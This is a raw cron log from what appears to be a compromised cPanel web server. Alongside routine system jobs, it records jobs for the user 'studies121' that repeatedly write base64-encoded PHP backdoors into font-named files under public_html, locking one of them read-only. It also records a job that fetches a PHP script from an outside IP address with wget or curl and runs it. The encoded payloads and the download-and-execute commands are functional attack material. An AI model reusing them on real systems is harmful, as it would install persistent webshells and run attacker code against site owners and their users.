Sep  6 11:51:01 ip-184-168-122-23 CROND[16887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:51:01 ip-184-168-122-23 CROND[16891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:51:01 ip-184-168-122-23 CROND[16890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:52:01 ip-184-168-122-23 CROND[17314]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:52:01 ip-184-168-122-23 CROND[17316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:52:01 ip-184-168-122-23 CROND[17317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:52:01 ip-184-168-122-23 CROND[17318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:52:01 ip-184-168-122-23 CROND[17319]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:53:01 ip-184-168-122-23 CROND[17723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:53:01 ip-184-168-122-23 CROND[17724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:53:01 ip-184-168-122-23 CROND[17726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:53:01 ip-184-168-122-23 CROND[17730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:54:01 ip-184-168-122-23 CROND[18105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:54:01 ip-184-168-122-23 CROND[18108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:54:01 ip-184-168-122-23 CROND[18110]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:54:01 ip-184-168-122-23 CROND[18109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:54:01 ip-184-168-122-23 CROND[18111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:55:01 ip-184-168-122-23 CROND[18575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:55:01 ip-184-168-122-23 CROND[18577]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:55:01 ip-184-168-122-23 CROND[18579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:55:01 ip-184-168-122-23 CROND[18578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:55:01 ip-184-168-122-23 CROND[18580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:55:01 ip-184-168-122-23 CROND[18581]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 11:56:01 ip-184-168-122-23 CROND[18933]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:56:01 ip-184-168-122-23 CROND[18935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:56:01 ip-184-168-122-23 CROND[18934]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:56:01 ip-184-168-122-23 CROND[18936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:56:01 ip-184-168-122-23 CROND[18937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:57:01 ip-184-168-122-23 CROND[19401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:57:01 ip-184-168-122-23 CROND[19403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:57:01 ip-184-168-122-23 CROND[19402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:57:01 ip-184-168-122-23 CROND[19404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:58:01 ip-184-168-122-23 CROND[19761]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:58:01 ip-184-168-122-23 CROND[19763]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:58:01 ip-184-168-122-23 CROND[19764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:58:01 ip-184-168-122-23 CROND[19765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:58:01 ip-184-168-122-23 CROND[19766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:59:01 ip-184-168-122-23 CROND[20133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:59:01 ip-184-168-122-23 CROND[20134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:59:01 ip-184-168-122-23 CROND[20136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:59:01 ip-184-168-122-23 CROND[20137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:00:01 ip-184-168-122-23 CROND[20581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:00:01 ip-184-168-122-23 CROND[20584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:00:01 ip-184-168-122-23 CROND[20583]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep  6 12:00:01 ip-184-168-122-23 CROND[20585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:00:01 ip-184-168-122-23 CROND[20587]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 12:00:01 ip-184-168-122-23 CROND[20589]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:00:01 ip-184-168-122-23 CROND[20586]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:00:01 ip-184-168-122-23 CROND[20588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:00:01 ip-184-168-122-23 CROND[20596]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:00:01 ip-184-168-122-23 CROND[20597]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  6 12:01:01 ip-184-168-122-23 CROND[20941]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 12:01:01 ip-184-168-122-23 CROND[20942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:01:01 ip-184-168-122-23 CROND[20944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:01:01 ip-184-168-122-23 CROND[20945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:01:01 ip-184-168-122-23 CROND[20943]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 12:01:01 ip-184-168-122-23 CROND[20947]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20943]: starting 0anacron
Sep  6 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20964]: finished 0anacron
Sep  6 12:02:01 ip-184-168-122-23 CROND[21263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:02:01 ip-184-168-122-23 CROND[21267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:02:01 ip-184-168-122-23 CROND[21266]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:02:01 ip-184-168-122-23 CROND[21265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:02:01 ip-184-168-122-23 CROND[21268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:03:01 ip-184-168-122-23 CROND[21612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:03:01 ip-184-168-122-23 CROND[21613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
